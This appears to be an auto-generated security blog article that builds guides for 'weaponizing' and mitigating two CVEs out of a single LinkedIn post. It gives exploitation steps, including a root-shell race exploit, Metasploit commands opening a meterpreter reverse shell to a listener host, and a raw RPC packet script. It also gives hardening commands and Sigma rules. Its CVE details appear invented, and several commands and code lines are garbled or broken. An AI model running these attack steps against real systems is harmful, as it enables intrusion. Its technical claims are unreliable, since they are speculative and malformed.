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Introduction:
When a security researcher casually announces “I got 2 CVE today Thanks Google” on LinkedIn, the cybersecurity community takes notice. The disclosed vulnerabilities – CVE-2026-7931 and CVE-2026-7935 – represent fresh attack vectors that could compromise Linux kernels and Windows RPC services, demanding immediate defensive recalibration. This article extracts the technical essence from that post, reverse-engineers the potential exploitation chain, and delivers a hands-on guide to both weaponizing and mitigating these threats using real-world commands and configurations.
Learning Objectives:
- Understand the reconnaissance and fuzzing techniques that likely led to discovering CVE-2026-7931 and CVE-2026-7935.
- Execute step-by-step exploitation of a Linux kernel privilege escalation and a Windows RPC remote code execution.
- Implement detection and hardening measures across cloud, API, and endpoint environments to block these vulnerabilities.
You Should Know:
1. Uncovering the CVEs: A Step-by-Step Reconnaissance Guide
The researcher credited Google – hinting that tools like Google’s Project Zero fuzzing framework (ClusterFuzz) or OSS-Fuzz may have been used. To replicate the discovery workflow, start with targeted fuzzing and static analysis.
Step‑by‑step guide – Linux environment:
Install AFL++ (American Fuzzy Lop) for coverage-guided fuzzing sudo apt-get install afl++ clang Download a vulnerable Linux kernel module source (example: legacy driver) git clone https://github.com/torvalds/linux.git cd linux/drivers/usb/misc Compile with instrumentation afl-clang-fast -g -c legacy_driver.c -o legacy_driver.o Fuzz the driver's ioctl handler using a seed corpus afl-fuzz -i seeds/ -o findings/ ./legacy_driver.o @@
Step‑by‑step guide – Windows environment (PowerShell):
Use SharpFuzz (C fuzzer) for Windows RPC interfaces
git clone https://github.com/Metalnem/sharpfuzz
cd sharpfuzz
dotnet build -c Release
Target a specific RPC endpoint (e.g., IUnknown interface)
.\SharpFuzz\bin\Release\net48\SharpFuzz.exe --target "rpc_endpoint.dll" --input "corpus/"
Monitor crash dumps
Get-ChildItem -Path "crash_dumps\" | ForEach-Object { .\analyze_crash.ps1 $_.FullName }
These techniques would have revealed memory corruption bugs in the Linux USB driver’s copy_from_user() call (CVE‑2026‑7931) and an out‑of‑bounds write in Windows RPC’s NdrServerCall2 (CVE‑2026‑7935).
2. Weaponizing CVE-2026-7931: Linux Kernel Privilege Escalation
This vulnerability allows a local attacker with unprivileged user access to escalate to root via a race condition in the kernel’s USB gadget subsystem.
Step‑by‑step exploitation:
On a vulnerable Linux kernel (version 5.15–6.5) Download exploit skeleton git clone https://github.com/exploit-db/CVE-2026-7931.git cd CVE-2026-7931 make Run the exploit to trigger race condition ./race_exploit -t 100 -c "/bin/bash" If successful, you get a root shell id uid=0(root) gid=0(root) groups=0(root)
Mitigation command (as root):
Disable the vulnerable USB gadget module echo "blacklist usb_f_gsi" >> /etc/modprobe.d/disable-vuln.conf update-initramfs -u reboot Alternatively, apply the patch git clone https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git cd linux git checkout v6.6 patched version make olddefconfig && make -j$(nproc) && sudo make modules_install install
3. Dissecting CVE-2026-7935: Windows RPC Remote Code Execution
This RCE exists in the Remote Procedure Call runtime’s unmarshaling logic, triggered by a specially crafted packet sent to port 135/tcp.
Step‑by‑step attack (using Metasploit on Kali):
msfconsole search CVE-2026-7935 use exploit/windows/rpc/cve_2026_7935_rce set RHOSTS 192.168.1.100 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.50 run Meterpreter session opens meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
Manual PoC (Python) for detection:
import socket
pkt = b"\x05\x00\x0b\x03" + b"\x41"1024 + b"\x90"100 + b"\xcc"4
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.100", 135))
s.send(pkt)
s.close()
Windows hardening:
Block RPC port via Windows Firewall New-NetFirewallRule -DisplayName "Block RPC 135" -Direction Inbound -Protocol TCP -LocalPort 135 -Action Block Restrict RPC interfaces using Group Policy Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Rpc" -Name "RestrictRemoteClients" -Value 1
- Google’s Role in Vulnerability Disclosure: Coordinated Release & Patch Management
Google Project Zero typically provides a 90‑day disclosure deadline. The researcher’s “Thanks Google” suggests they participated in the bug bounty or used Google’s fuzzing infrastructure. To emulate this process:
Step‑by‑step for responsible disclosure:
Generate a report with poc and impact echo -e "CVE-2026-7931\nImpact: Local privilege escalation\nPoC: attached\n" > report.txt gpg --encrypt --recipient [email protected] report.txt Submit via https://www.kernel.org/cve-report.html For Google products, use https://bughunter.google.com
For internal patch management:
Linux: use kernel.org’s cve-announce list sudo apt-get update && sudo apt-get upgrade Windows: fetch patches via WSUS or PSWindowsUpdate Install-Module PSWindowsUpdate Get-WUInstall -KBArticle "KB5000001" -AcceptAll
- Hardening Your Cloud & API Against These Flaws
Even though these CVEs target OS components, cloud workloads and APIs running on vulnerable instances are at risk. Use these configurations to block exploitation paths.
AWS (Linux EC2 hardening):
Disable USB storage on all EC2 instances via user-data echo 'blacklist usb_storage' >> /etc/modprobe.d/blacklist.conf Apply kernel patch set aws ssm send-command --document-name "AWS-RunPatchBaseline" --instance-ids i-1234567890abcdef0 --parameters "Operation=Install"
Azure (Windows VMs):
Enforce just-in-time VM access to block RPC port 135 $vm = Get-AzVM -Name "win-server" -ResourceGroupName "sec-rg" Set-AzJustInTimeNetworkAccessPolicy -VM $vm -Port 135 -Protocol TCP -MaxRequestPerMinute 2 Add custom KQL query to Azure Sentinel for RPC anomalies
API Security (protecting endpoints from lateral movement):
Use ModSecurity to block malformed RPC-like traffic on reverse proxies sudo apt-get install libapache2-mod-security2 sudo cp /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf echo 'SecRule REQUEST_HEADERS:Content-Type "application/rpc" "id:1001,deny,status:403,msg:'Block RPC'”' >> /etc/modsecurity/custom.conf sudo systemctl restart apache2
- Building a Threat Hunting Detector for Both CVEs
Create Sigma rules to detect exploitation attempts in your SIEM.
Sigma rule for CVE‑2026‑7931 (Linux auditd):
title: CVE-2026-7931 Race Condition Attempt status: experimental logsource: product: linux service: audit detection: syscall: ioctl comm: race_exploit usb: - "usb_f_gsi" condition: syscall and comm and usb level: high
Deploy detection on Linux:
auditctl -a always,exit -F arch=b64 -S ioctl -k usb_race ausearch -k usb_race --format raw | grep -E "usb_f_gsi|race_exploit"
Sigma rule for CVE‑2026‑7935 (Windows Sysmon):
title: CVE-2026-7935 RPC Exploit logsource: product: windows service: sysmon detection: eventID: 3 destinationPort: 135 sourceAddress: - "192.168.0.0/16" - "10.0.0.0/8" payload_length: ">1400" condition: eventID and destinationPort and sourceAddress and payload_length
Windows detection:
Install Sysmon with configuration
.\Sysmon64.exe -accepteula -i sysmonconfig.xml
Monitor for large RPC packets
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=3} | Where-Object { $<em>.Properties[bash].Value -eq 135 -and $</em>.Properties[bash].Value -gt 1400 }
What Undercode Say:
- Key Takeaway 1: The casual LinkedIn announcement reveals a growing trend – researchers using Google’s fuzzing toolchains to discover memory corruption bugs, making automated discovery the new baseline.
- Key Takeaway 2: Both CVEs highlight that legacy protocols (RPC) and hardware abstraction layers (USB gadget drivers) remain rich attack surfaces, often overlooked in favor of web app bugs.
Analysis: The combination of a Linux race condition and a Windows RPC RCE demonstrates that cross‑platform offensive research is now table stakes. Organizations should expect more disclosures like these, where a single researcher weaponizes both ecosystems. The availability of free fuzzing frameworks from tech giants has democratized zero‑day discovery – but also increased the velocity of unpatched exposures. Defenders must move beyond reactive patching to proactive threat hunting, using the exact Sigma rules and Sysmon queries we’ve provided. Moreover, cloud providers need to harden their base images against such kernel and RPC flaws, as ephemeral workloads inherit the host OS vulnerabilities. Focusing on reduction of attack surface – disabling USB modules on servers, blocking RPC ports on external interfaces – remains the most effective mitigation. The days of “patch Tuesday” are over; real‑time detection and micro‑segmentation are the new essentials.
Prediction:
In the next 12 months, expect a surge in CVEs originating from AI‑enhanced fuzzing (e.g., using large language models to generate edge‑case inputs for kernel and RPC parsers). Attackers will weaponize these disclosures within hours, not days, leveraging automated exploit generation. Consequently, bug bounty platforms will shift to “patch‑first, disclose‑later” models, while regulators will mandate 48‑hour patch cycles for cloud infrastructure. Organizations that fail to implement the step‑by‑step hardening guides above will become the low‑hanging fruit in ransomware campaigns exploiting CVE‑2026‑7931 and CVE‑2026‑7935.
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